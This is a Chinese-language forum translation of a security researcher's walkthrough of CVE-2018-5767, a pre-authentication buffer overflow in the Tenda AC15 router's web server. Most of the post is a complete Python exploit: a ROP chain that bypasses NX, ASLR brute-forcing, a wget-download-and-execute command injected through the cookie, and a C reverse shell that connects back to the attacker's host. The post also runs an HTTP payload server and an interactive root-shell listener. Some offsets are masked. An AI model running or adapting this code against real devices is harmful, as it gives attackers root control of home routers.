首页
论坛
课程
招聘
[翻译]腾达AC15路由器上的远程代码(CVE-2018-5767)执行演练
2018-4-3 15:31 2782

[翻译]腾达AC15路由器上的远程代码(CVE-2018-5767)执行演练

2018-4-3 15:31
2782

介绍

在这篇文章中,我们将展示一个腾达AC15路由器中的预认证的远程代码执行漏洞。我们从分析漏洞开始,然后再着手开发的常规模式——找出问题,然后修正那些问题来开发工作漏洞。

 

N. B -多次尝试联系供应商,但没有成功。由于该漏洞的性质,文章中偏移量已经修改,防止漏洞利用。

奠定基础

这个漏洞是由缓冲区溢出由于不注意的用户输入直接传递给调用sscanf引起。下面的图显示在这个设备上httpd进程r7webssecurityhandler函数的漏洞代码。
图片描述

 

注意,"password="参数是cookie头的一部分。我们看到,该代码使用strstr找到这个地方,然后把等号后面的复制(不包括“;”字符 - 这个在后面很重要)到一个固定大小的堆栈缓冲区。

 

如果我们把一个足够大的密码值就可以让服务器崩溃,在下面的图片中我们使用交叉编译gdbserver二进制依附到这个进程,我们可以用telnet访问设备(另一篇文章的里讲到)。

 

图片描述

 

This crash isn’t exactly ideal. We can see that it’s due to an invalid read attempting to load a byte from R3 which points to 0x41414141. From our analysis this was identified as occurring in a shared library and instead of looking for ways to exploit it, we turned our focus back on the vulnerable function to try and determine what was happening after the overflow.

 

In the next figure we see the issue; if the string copied into the buffer contains “.gif”, then the function returns immediately without further processing. The code isn’t looking for “.gif” in the password, but in the user controlled buffer for the whole request. Avoiding further processing of a overflown buffer and returning immediately is exactly what we want (loc_2f7ac simply jumps to the function epilogue).

 

这次崩溃不太完美。我们可以看到,这是由于非法读取,试图从R3指向0x41414141处加载一个字节。从我们的分析来看,这是在共享库中触发,接着我们不是寻找方法来利用它,而是把焦点放在漏洞函数上,试图确定溢出之后发生了什么。

 

在下一个图中,我们看到了问题;如果复制到缓冲区中的字符串包含“.gif”,则函数立即返回,没有进一步处理。代码不是在密码中寻找“.gif”,而是在整个请求的用户控制缓冲区中。避免溢出缓冲区的进一步处理,立即返回,这正是我们想要的(loc_2f7ac直接跳到函数的结尾)。

 

图片描述
把".gif"附加到一长串的字符串"A"后面,这给了我们一个PC = 0x41414141段错误。能可靠的控制执行的流程,我们现在可以勾勒出我们需要定位的问题,并着手开始解决,同时,开发可利用代码。

 

首先,以下的信息是可用的二进制:

file httpd
format elf
type EXEC (Executable file)
arch arm
bintype elf
bits 32
canary false
endian little
intrp /lib/ld-uClibc.so.0
machine ARM
nx true
pic false
relocs false
relro no
static false

我只囊括了最重要的细节,这个二进制是一个32位的ARMEL可执行,动态链接到NX是唯一利用缓解启用(注意系统的randomize_va_space = 1,这个我们必须得处理)。因此,我们有以下问题要解决:

  1. 通过可控缓冲区的偏移实现PC机的可靠控制。

  2. 旁路不执行(NX,堆栈不可执行)。

  3. 绕过地址空间布局随机化(randomize_va_space = 1)。

  4. 把它拼成一个完整的漏洞。

解决问题101

要解决的第一个问题是在利用内存损坏漏洞时,比如在缓冲区中我们可以控制某些寄存器的偏移量。我们解决了这个问题,使用Metasploit的模式创建和仿制出偏移脚本。我们确定正确的偏移量,并显示对PC寄存器的可靠控制:

 

图片描述

 

解决了问题1后,我们的下一个任务是绕过不执行。不执行(NX或DEP)简单地阻止我们在堆栈上执行shellcode。它可以确保没有任何可写和可执行内存的页。NX已经有一段时间了,所以我们不太详细地介绍它是如何工作的,也不需要绕过它,我们需要的只是一些神奇的魔力。

 

我们用“归零”保护(ret2zp)方法[ 1 ]。给构建ROP链的问题在于,ARM架构函数的参数是通过r0-r3寄存器,和英特尔x86栈不同。绕过NX在x86处理器上我们只会进行一次ret2libc攻击,由此我们存储libc的系统函数的地址在正确的偏移,然后在偏移量+4位置存储一个空的终止的字符串作为我们希望执行的命令:

 

图片描述

 

在我们当前的目标执行类似的攻击,需要把我们的命令传到R0的地址,然后需要一些方法来跳到系统功能。实现这些的是一个用mov指令把堆栈指针移动到R0的工具。这给了我们如下的布局:

 

图片描述

 

我们在libc共享库找到这个工具,但是,这个小工具执行以下指令。

mov sp, r0
blx r3

这意味着在跳转到这个小工具之前,必须在R3中得到系统地址。为了解决这个问题,我们只需找到一个小工具,可以让我们从堆栈中传送或弹出到R3的值,我们又在libc库找到这样一个小工具:

pop {r3,r4,r7,pc}

这个小工具还有跳转到SP + 12的额外好处,因此我们的缓冲区应该是这样的:
图片描述

 

注意“;.gif”字符串缓冲区末尾,记得sscanf的调用停在‘;’字符,而“.gif”字符串将允许我们退出函数。通过下面的Python代码,我们用两个小工具基本上绕过了NX:

libc_base = ****
curr_libc = libc_base + (0x7c << 12)
system = struct.pack("<I", curr_libc + ****)
#: pop {r3, r4, r7, pc}
pop = struct.pack("<I", curr_libc + ****)
#: mov r0, sp ; blx r3
mv_r0_sp = struct.pack("<I", curr_libc + ****)
password = "A"*offset
password += pop + system + "B"*8 + mv_r0_sp + command + ".gif"

问题2的解决,我们现在进入我们的第三个问题;绕过ASLR。进攻基于网络的应用程序时很难绕过地址空间布局随机化,这通常是由于这样的事实,我们需要某种形式的信息泄漏。虽然在二进制本身上没有启用,但是共享库在每次执行时在不同地址上定位所有的加载。产生的信息泄漏的一个方法是使用“自身的”的httpd二进制中提供的工具(没有ASLR)和ROP到泄漏。然而,问题是每个小工具包含一个空字节,所以我们只能使用1。如果我们看看随机化是多么的随机,我们看到其实库地址(特别是包含我们的小工具的libc)在每个执行时只相差一个字节。例如,在一次运行时库位于0xXXXXXXXX,下次运行时就会在0xXXXXXXXX(译者按:此处可能是否应为0xXXXXXXXX+1?)

 

我们可以从理论上推测这个值,但猜到的可能性很小。

 

这是我们可靠的看门狗程序的用武之地。运行在这个设备一个进程负责重启那些崩溃的服务,所以每次httpd进程段错误就会立即重启,对我们来说非常方便。这是足以让我们做一些暴力破解,使用下面的过程:
图片描述

 

随着成功绕过NX和ASLR,我们现在需要把这一切放在一起(问题3)。然而,这给我们提出了另外一组需要解决的问题:

  1. 我们如何检测到漏洞利用已经成功?

  2. 我们如何使用此漏洞利用代码在设备上运行任意代码?

我们从解决问题2开始,这反过来将帮助我们解决问题1。在设备上运行任意代码有几个步骤。首先,我们可以利用设备上的工具下载任意脚本或二进制文件,例如,下面的命令字符串将通过HTTP从远程服务器下载文件,将其权限更改为可执行文件,然后运行它:

command = "wget http://192.168.0.104/malware -O /tmp/malware && chmod 777 /tmp/malware && /tmp/malware &;"

这个“恶意软件”二进制会有一些迹象表明,该设备已被远程利用,为了达到这个目的,我们编写一个简单的TCP连接后程序。这个程序将创建一个连接到我们的进攻系统,复制stdin和stdout文件描述符–它仅仅是一个简单的逆向外壳。

 

```#include <sys/socket.h>

 

#include <sys/types.h>

 

#include <string.h>

 

#include <stdio.h>

 

#include <netinet/in.h>

 

int main(int argc, char **argv)

 

{

struct sockaddr_in addr;

socklen_t addrlen;

int sock = socket(AF_INET, SOCK_STREAM, 0);

memset(&addr, 0x00, sizeof(addr));

addr.sin_family = AF_INET;

addr.sin_port = htons(31337);

addr.sin_addr.s_addr = inet_addr(“192.168.0.104”);

int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

system(“/bin/sh”);

}

我们需要交叉编译此代码到ARM二进制,要做到这一点,我们使用一个从Uclibc下载的预构建的工具。我们还想自动化这个开发的整个过程,因此,使用下面的代码来处理编译恶意代码(使用动态配置的IP地址)。然后我们使用一个过程来编译代码(用户定义的端口和IP),并使用Python的simplehttpserver模块的http服务。
  • Take the ARM_REV_SHELL code and modify it with

  • the given ip and port to connect back to.

  • This function then compiles the code into an

  • ARM binary.

@Param comp_path – This should be the path of the cross-compiler.

 

@Param my_ip – The IP address of the system running this code.

 

def compile_shell(comp_path, my_ip):

global ARM_REV_SHELL

outfile = open(“a.c”, “w”)



ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)



#write the code with ip and port to a.c

outfile.write(ARM_REV_SHELL)

outfile.close()



compile_cmd = [comp_path, “a.c”,”-o”, “a”]



s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)



        #wait for the process to terminate so we can get its return code

while s.poll() == None:

    continue



if s.returncode == 0:

    return True

else:

    print “[x] Error compiling code, check compiler? Read the README?”

    return False
  • This function uses the SimpleHTTPServer module to create

  • a http server that will serve our malicious binary.

  • This function is called as a thread, as a daemon process.

”’

 

def start_http_server():

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)



print “[+] Http server started on port %d” %HTTPD_PORT

httpd.serve_forever()
此代码是使用目前的设备上的wget工具读取我们的二进制并运行它,这解决了我们的问题1。我们可以通过等待连接来确定该漏洞利用代码是否成功。下一个图中的抽象图显示了如何使用一些带有全局标志的线程来解决问题1,给出了问题2的解决方案。

![](https://www.fidusinfosec.com/wp-content/uploads/2018/02/Threads.png)

下面的代码中所示的函数负责处理这些过程:
  • This function creates a listening socket on port

  • REV_PORT. When a connection is accepted it updates

  • the global DONE flag to indicate successful exploitation.

  • It then jumps into a loop whereby the user can send remote

  • commands to the device, interacting with a spawned /bin/sh

  • process.

def threaded_listener():

global DONE

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)



host = (“0.0.0.0”, REV_PORT)



try:

    s.bind(host)

except:

    print “[+] Error binding to %d” %REV_PORT

    return -1



print “[+] Connect back listener running on port %d” %REV_PORT



s.listen(1)

conn, host = s.accept()



#We got a connection, lets make the exploit thread aware

DONE = True



print “[+] Got connect back from %s” %host[0]

print “[+] Entering command loop, enter exit to quit”



#Loop continuosly, simple reverse shell interface.

while True:

    print “#”,

    cmd = raw_input()

    if cmd == “exit”: 

        break

    if cmd == ”:

        continue



    conn.send(cmd + “\n”)



    print conn.recv(4096)
  • This function presents the actual vulnerability exploited.

  • The Cookie header has a password field that is vulnerable to

  • a sscanf buffer overflow, we make use of 2 ROP gadgets to

  • bypass DEP/NX, and can brute force ASLR due to a watchdog

  • process restarting any processes that crash.

  • This function will continually make malicious requests to the

  • devices web interface until the DONE flag is set to True.

@Param host – the ip address of the target.

 

@Param port – the port the webserver is running on.

 

@Param my_ip – The ip address of the attacking system.

 

def exploit(host, port, my_ip):

global DONE

url = “http://%s:%s/goform/exeCommand”%(host, port)

i = 0



command = “wget http://%s:%s/a -O /tmp/a && chmod 777

           /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)



#Guess the same libc base address each time

libc_base = ****

curr_libc = libc_base + (0x7c << 12)



system = struct.pack(“<I”, curr_libc + ****)



#: pop {r3, r4, r7, pc}

pop = struct.pack(“<I”, curr_libc + ****)

#: mov r0, sp ; blx r3

mv_r0_sp = struct.pack(“<I”, curr_libc + ****)



password = “A”*offset

password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”



print “[+] Beginning brute force.”

while not DONE:

    i += 1                 

    print “[+] Attempt %d”%i



    #build the request, with the malicious password field

    req = urllib2.Request(url)              

    req.add_header(“Cookie”, “password=%s”%password)



    #The request will throw an exception when we crash the server,

    #we don’t care about this, so don’t handle it.

    try:

        resp = urllib2.urlopen(req)

    except:

        pass



    #Give the device some time to restart the process.

    time.sleep(1)



print “[+] Exploit done”

Finally, we put all of this together by spawning the individual threads, as well as getting command line options as usual:

 

def main():

parser = OptionParser()

parser.add_option(“-t”, “–target”, dest=”host_ip”,

                help=”IP address of the target”)

parser.add_option(“-p”, “–port”, dest=”host_port”,

                help=”Port of the targets webserver”)

parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”,

                help=”path to arm cross compiler”)

parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your  ip address”)



options, args = parser.parse_args()



host_ip = options.host_ip

host_port = options.host_port

comp_path = options.compiler_path

my_ip = options.my_ip



if host_ip == None or host_port == None:

    parser.error(“[x] A target ip address (-t) and port (-p) are required”)



if comp_path == None:

    parser.error(“[x] No compiler path specified,

    you need a uclibc arm cross compiler,

    such as https://www.uclibc.org/downloads/

    binaries/0.9.30/cross-compiler-arm4l.tar.bz2″)



if my_ip == None:

    parser.error(“[x] Please pass your ip address (-m)”)





if not compile_shell(comp_path, my_ip):

    print “[x] Exiting due to error in compiling shell”

    return -1



httpd_thread = threading.Thread(target=start_http_server)

httpd_thread.daemon = True

httpd_thread.start()



conn_listener = threading.Thread(target=threaded_listener)

conn_listener.start()



#Give the thread a little time to start up, and fail if that happens

time.sleep(3)



if not conn_listener.is_alive():

    print “[x] Exiting due to conn_listener error”

    return -1





exploit(host_ip, host_port, my_ip)





conn_listener.join()



return 0

if name == ‘main’:

main()
运行代码,几分钟后就可以得到root权限的逆向shell:

![](https://www.fidusinfosec.com/wp-content/uploads/2018/02/RootShell.png)

全部代码在这:

#!/usr/bin/env python

 

import urllib2

 

import struct

 

import time

 

import socket

 

from optparse import *

 

import SimpleHTTPServer

 

import SocketServer

 

import threading

 

import sys

 

import os

 

import subprocess

 

ARM_REV_SHELL = (

 

“#include <sys/socket.h>\n”

 

“#include <sys/types.h>\n”

 

“#include <string.h>\n”

 

“#include <stdio.h>\n”

 

“#include <netinet/in.h>\n”

 

“int main(int argc, char **argv)\n”

 

“{\n”

 

” struct sockaddr_in addr;\n”

 

” socklen_t addrlen;\n”

 

” int sock = socket(AF_INET, SOCK_STREAM, 0);\n”

 

” memset(&addr, 0x00, sizeof(addr));\n”

 

” addr.sin_family = AF_INET;\n”

 

” addr.sin_port = htons(%d);\n”

 

” addr.sin_addr.s_addr = inet_addr(\”%s\”);\n”

 

” int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n”

 

” dup2(sock, 0);\n”

 

” dup2(sock, 1);\n”

 

” dup2(sock, 2);\n”

 

” system(\”/bin/sh\”);\n”

 

“}\n”

 

)

 

REV_PORT = 31337

 

HTTPD_PORT = 8888

 

DONE = False

 

”’

  • This function creates a listening socket on port

  • REV_PORT. When a connection is accepted it updates

  • the global DONE flag to indicate successful exploitation.

  • It then jumps into a loop whereby the user can send remote

  • commands to the device, interacting with a spawned /bin/sh

  • process.

”’

 

def threaded_listener():

        global DONE

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)



        host = (“0.0.0.0”, REV_PORT)



        try:

                    s.bind(host)

        except:

                    print “[+] Error binding to %d” %REV_PORT

                    return -1





        print “[+] Connect back listener running on port %d” %REV_PORT



        s.listen(1)

        conn, host = s.accept()



        #We got a connection, lets make the exploit thread aware

        DONE = True



        print “[+] Got connect back from %s” %host[0]

        print “[+] Entering command loop, enter exit to quit”



        #Loop continuosly, simple reverse shell interface.

        while True:

                    print “#”,

                    cmd = raw_input()

                    if cmd == “exit”:

                                break

                    if cmd == ”:

                                continue



                    conn.send(cmd + “\n”)



                    print conn.recv(4096)

”’

  • Take the ARM_REV_SHELL code and modify it with

  • the given ip and port to connect back to.

  • This function then compiles the code into an

  • ARM binary.

@Param comp_path – This should be the path of the cross-compiler.

 

@Param my_ip – The IP address of the system running this code.

 

”’

 

def compile_shell(comp_path, my_ip):

        global ARM_REV_SHELL

        outfile = open(“a.c”, “w”)



        ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)



        outfile.write(ARM_REV_SHELL)

        outfile.close()



        compile_cmd = [comp_path, “a.c”,”-o”, “a”]



        s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)



        while s.poll() == None:

                    continue



        if s.returncode == 0:

                    return True

        else:

                    print “[x] Error compiling code, check compiler? Read the README?”

                    return False

”’

  • This function uses the SimpleHTTPServer module to create

  • a http server that will serve our malicious binary.

  • This function is called as a thread, as a daemon process.

”’

 

def start_http_server():

        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

        httpd = SocketServer.TCPServer((“”, HTTPD_PORT), Handler)



        print “[+] Http server started on port %d” %HTTPD_PORT

        httpd.serve_forever()

”’

  • This function presents the actual vulnerability exploited.

  • The Cookie header has a password field that is vulnerable to

  • a sscanf buffer overflow, we make use of 2 ROP gadgets to

  • bypass DEP/NX, and can brute force ASLR due to a watchdog

  • process restarting any processes that crash.

  • This function will continually make malicious requests to the

  • devices web interface until the DONE flag is set to True.

@Param host – the ip address of the target.

 

@Param port – the port the webserver is running on.

 

@Param my_ip – The ip address of the attacking system.

 

”’

 

def exploit(host, port, my_ip):

        global DONE

        url = “http://%s:%s/goform/exeCommand”%(host, port)

        i = 0



        command = “wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;” %(my_ip, HTTPD_PORT)



        #Guess the same libc base continuosly

        libc_base = ****

        curr_libc = libc_base + (0x7c << 12)



        system = struct.pack(“<I”, curr_libc + ****)



        #: pop {r3, r4, r7, pc}

        pop = struct.pack(“<I”, curr_libc + ****)

        #: mov r0, sp ; blx r3

        mv_r0_sp = struct.pack(“<I”, curr_libc + ****)



        password = “A”*offset

        password += pop + system + “B”*8 + mv_r0_sp + command + “.gif”



        print “[+] Beginning brute force.”

        while not DONE:

                    i += 1                 

                    print “[+] Attempt %d” %i



                    #build the request, with the malicious password field

                    req = urllib2.Request(url)                     

                    req.add_header(“Cookie”, “password=%s”%password)



                    #The request will throw an exception when we crash the server,

                    #we don’t care about this, so don’t handle it.

                    try:

                                resp = urllib2.urlopen(req)

                    except:

                                pass



                    #Give the device some time to restart the

                    time.sleep(1)



        print “[+] Exploit done”

def main():

        parser = OptionParser()

        parser.add_option(“-t”, “–target”, dest=”host_ip”, help=”IP address of the target”)

        parser.add_option(“-p”, “–port”, dest=”host_port”, help=”Port of the targets webserver”)

        parser.add_option(“-c”, “–comp-path”, dest=”compiler_path”, help=”path to arm cross compiler”)

        parser.add_option(“-m”, “–my-ip”, dest=”my_ip”, help=”your ip address”)



        options, args = parser.parse_args()



        host_ip = options.host_ip

        host_port = options.host_port

        comp_path = options.compiler_path

        my_ip = options.my_ip



        if host_ip == None or host_port == None:

                    parser.error(“[x] A target ip address (-t) and port (-p) are required”)



        if comp_path == None:

                    parser.error(“[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2”)



        if my_ip == None:

                    parser.error(“[x] Please pass your ip address (-m)”)





        if not compile_shell(comp_path, my_ip):

                    print “[x] Exiting due to error in compiling shell”

                    return -1



        httpd_thread = threading.Thread(target=start_http_server)

        httpd_thread.daemon = True

        httpd_thread.start()



        conn_listener = threading.Thread(target=threaded_listener)

        conn_listener.start()



        #Give the thread a little time to start up, and fail if that happens

        time.sleep(3)



        if not conn_listener.is_alive():

                    print “[x] Exiting due to conn_listener error”

                    return -1





        exploit(host_ip, host_port, my_ip)





        conn_listener.join()



        return 0

if name == ‘main’:

        main()

```

 

特别感谢:

 

Tim Carrington – @_invictus – as part of Fidus’ Penetration Testing & Research team.

 

翻译:看雪翻译小组Daemond
原文:https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/


[公告]名企招聘!

最后于 2019-2-1 20:31 被admin编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回